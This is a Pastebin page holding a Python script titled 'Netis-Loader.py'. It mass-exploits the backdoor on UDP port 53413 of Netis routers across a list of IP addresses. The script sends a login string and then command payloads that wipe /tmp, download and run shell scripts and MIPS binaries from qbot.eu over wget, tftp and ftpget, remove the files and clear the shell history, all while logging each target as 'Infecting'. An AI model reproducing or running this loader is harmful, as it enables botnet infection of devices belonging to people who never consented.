Advertisement
1337ings

[Python] Netis-Loader.py [Updated]

Aug 7th, 2017
802
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.15 KB | None | 0 0
  1. #!/usr/bin/python
  2. # netis loader
  3. # Made by LNO_LiGhT
  4. # Updated/Upgraded by Chris Poole | @codingplanets
  5.  
  6. import threading, sys, time, random, socket, re, os
  7.  
  8. if len(sys.argv) < 2:
  9. print "Usage: python "+sys.argv[0]+" <netis.txt>"
  10. sys.exit()
  11.  
  12. loginpayload = "AAAAAAAAnetcore\x00"
  13. commandpayload = "cd /tmp; rm -fr *; wget http://qbot.eu/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp qbot.eu -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g qbot.eu; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh tfyfa1.sh; rm -rf *; history -c\n"
  14. commanddpayload = "AA\x00\x00AAAA cd /tmp; rm -fr *; wget http://qbot.eu/mipsel; chmod 777 mipsel; sh mipsel; tftp qbot.eu -c get mipsel; chmod 777 mipsel; sh mipsel; tftp -r mipsel -g qbot.eu; chmod 777 mipsel; sh mipsel; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu mipsel mipsel; sh mipsel; rm -rf mipsel mipsel mipsel tfyfa1.sh; rm -rf *; history -c\x00"
  15. commandddpayload= "AAAAAAAAnetcore\x00 \r\n\r\n AA\x00\x00AAAA cd /tmp; wget http://qbot.eu/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp qbot.eu -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g qbot.eu; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu ftp1.sh ftp1.sh.sh; sh ftp1.sh.sh; rm -rf bins.sh tftp1.sh tftp2.sh rm -rf *\r\n\x00"
  16.  
  17. list = open(sys.argv[1], "r").readlines()
  18. offline = 0
  19. class netis(threading.Thread):
  20. def __init__ (self, ip):
  21. threading.Thread.__init__(self)
  22. self.ip = str(ip).rstrip('\n')
  23. def run(self):
  24. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  25. try:
  26. print "\033[31m[\033[32m+\033[31m] \033[32mInfecting:\033[32m %s"%(self.ip)
  27. s.sendto(loginpayload, (self.ip, 53413))
  28. time.sleep(3.5)
  29. s.sendto(commandpayload, (self.ip, 53413))
  30. time.sleep(1.5)
  31. s.sendto(commanddpayload, (self.ip, 53413))
  32. time.sleep(1.5)
  33. s.sendto(commandddpayload, (self.ip, 53413))
  34. time.sleep(1.5)
  35. except Exception:
  36. pass
  37. for ip in list:
  38. try:
  39. t = netis(ip)
  40. t.start()
  41. time.sleep(0.01)
  42. except:
  43. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement